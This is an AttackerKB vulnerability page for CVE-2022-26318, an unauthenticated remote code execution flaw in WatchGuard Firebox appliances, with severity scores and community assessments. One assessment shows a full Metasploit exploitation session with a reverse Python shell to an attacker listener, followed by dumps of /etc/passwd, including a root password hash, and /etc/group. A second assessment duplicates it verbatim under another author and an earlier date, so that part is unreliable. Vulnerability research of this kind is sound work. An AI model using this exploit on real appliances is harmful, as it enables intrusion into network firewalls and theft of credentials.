Lucene search

K
attackerkbAttackerKBAKB:D265A6AF-EDA4-4520-B172-48FAFC47ED10
HistoryMar 04, 2022 - 12:00 a.m.

CVE-2022-26318

2022-03-0400:00:00
attackerkb.com
51

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

0.842 High

EPSS

Percentile

98.5%

On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.

Recent assessments:

h00die-gr3y at March 03, 2024 7:34pm UTC reported:

Almost two years ago (28 march 2022) jbaines published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).

The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only or no-exec, no-suid options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.

I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.

Module in action

msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options

Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                         ploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       WatchGuard Firebox base url
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CreateSession  true             no        Create a new session for every successful login
   LHOST                           yes       The listen address (an interface may be specified)
   LPORT          4444             yes       The listen port
   SHELL          /usr/bin/python  yes       The system shell to use


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Reverse Python Interactive Shell)

View the full module info with the info, or info -d command.



msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
rhosts => 192.168.201.24
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.24:8080 can be exploited.
[+] The target appears to be vulnerable.
[*] 192.168.201.24:8080 - Attempting to exploit...
[*] 192.168.201.24:8080 - Sending payload...
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000


Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> import subprocess
>>> os.listdir("./")
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
>>>
>>> os.getuid()
99
>>> os.getgid()
96
>>> print(open("/etc/passwd").read())
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
bin:x:1:1:bin:/bin:
system:x:2:96:WG System daemons:/:
nobody:x:99:99:Nobody:/:
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
openvpn:x:97:97:OpenVPN daemon:/:
www:x:96:95:WebUI:/:
cli:x:95:95:CLI:/:
cfm:x:94:94:CFM:/var/cfm_sandbox:
agent:x:93:96:WG Agent:/:
scand:x:91:94:Scanning Daemon:/var/run/scand:
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
sshd:x:89:89:sshd privilege separation:/var/empty:
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
cwagent:x:100:100:ConnectWise Agent:/var/empty:
dimension:x:101:101:Dimension Service:/var/run/dimension:
tss:x:102:102:trousers daemon:/:
atagent:x:103:103:Autotask Agent:/var/empty:
psad:x:104:104:PSA Daemon:/var/empty:
guac:x:105:105:Guacamole Daemons:/var/run/guac:
portald:x:106:105:Portald:/var/run/portald:
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
tpagent:x:111:96:Tigerpaw Agent:/var/empty:

>>> print(open("/etc/group").read())
admin:x:0:0
bin:x:1:admin,bin
nobody:x:99:
wgntp:x:98:
openvpn:x:97:
wg:x:96:
ui:x:95:
proxy:x:94:
sshd:x:89:
quagga:x:88:
netdbg:x:87:
cwagent:x:100:
dimension:x:101:
tss:x:102:
atagent:x:103:
psad:x:104:
ctlvpn:x:105:
dnswatchd:x:107:

>>> os.uname()
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
>>>

References

CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur from AssetNote.

jbaines-r7 at March 25, 2022 4:05pm UTC reported:

Almost two years ago (28 march 2022) jbaines published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).

The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only or no-exec, no-suid options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.

I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.

Module in action

msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options

Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                         ploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       WatchGuard Firebox base url
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CreateSession  true             no        Create a new session for every successful login
   LHOST                           yes       The listen address (an interface may be specified)
   LPORT          4444             yes       The listen port
   SHELL          /usr/bin/python  yes       The system shell to use


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Reverse Python Interactive Shell)

View the full module info with the info, or info -d command.



msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
rhosts => 192.168.201.24
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.24:8080 can be exploited.
[+] The target appears to be vulnerable.
[*] 192.168.201.24:8080 - Attempting to exploit...
[*] 192.168.201.24:8080 - Sending payload...
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000


Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> import subprocess
>>> os.listdir("./")
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
>>>
>>> os.getuid()
99
>>> os.getgid()
96
>>> print(open("/etc/passwd").read())
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
bin:x:1:1:bin:/bin:
system:x:2:96:WG System daemons:/:
nobody:x:99:99:Nobody:/:
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
openvpn:x:97:97:OpenVPN daemon:/:
www:x:96:95:WebUI:/:
cli:x:95:95:CLI:/:
cfm:x:94:94:CFM:/var/cfm_sandbox:
agent:x:93:96:WG Agent:/:
scand:x:91:94:Scanning Daemon:/var/run/scand:
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
sshd:x:89:89:sshd privilege separation:/var/empty:
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
cwagent:x:100:100:ConnectWise Agent:/var/empty:
dimension:x:101:101:Dimension Service:/var/run/dimension:
tss:x:102:102:trousers daemon:/:
atagent:x:103:103:Autotask Agent:/var/empty:
psad:x:104:104:PSA Daemon:/var/empty:
guac:x:105:105:Guacamole Daemons:/var/run/guac:
portald:x:106:105:Portald:/var/run/portald:
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
tpagent:x:111:96:Tigerpaw Agent:/var/empty:

>>> print(open("/etc/group").read())
admin:x:0:0
bin:x:1:admin,bin
nobody:x:99:
wgntp:x:98:
openvpn:x:97:
wg:x:96:
ui:x:95:
proxy:x:94:
sshd:x:89:
quagga:x:88:
netdbg:x:87:
cwagent:x:100:
dimension:x:101:
tss:x:102:
atagent:x:103:
psad:x:104:
ctlvpn:x:105:
dnswatchd:x:107:

>>> os.uname()
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
>>>

References

CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur from AssetNote.

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 3

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

0.842 High

EPSS

Percentile

98.5%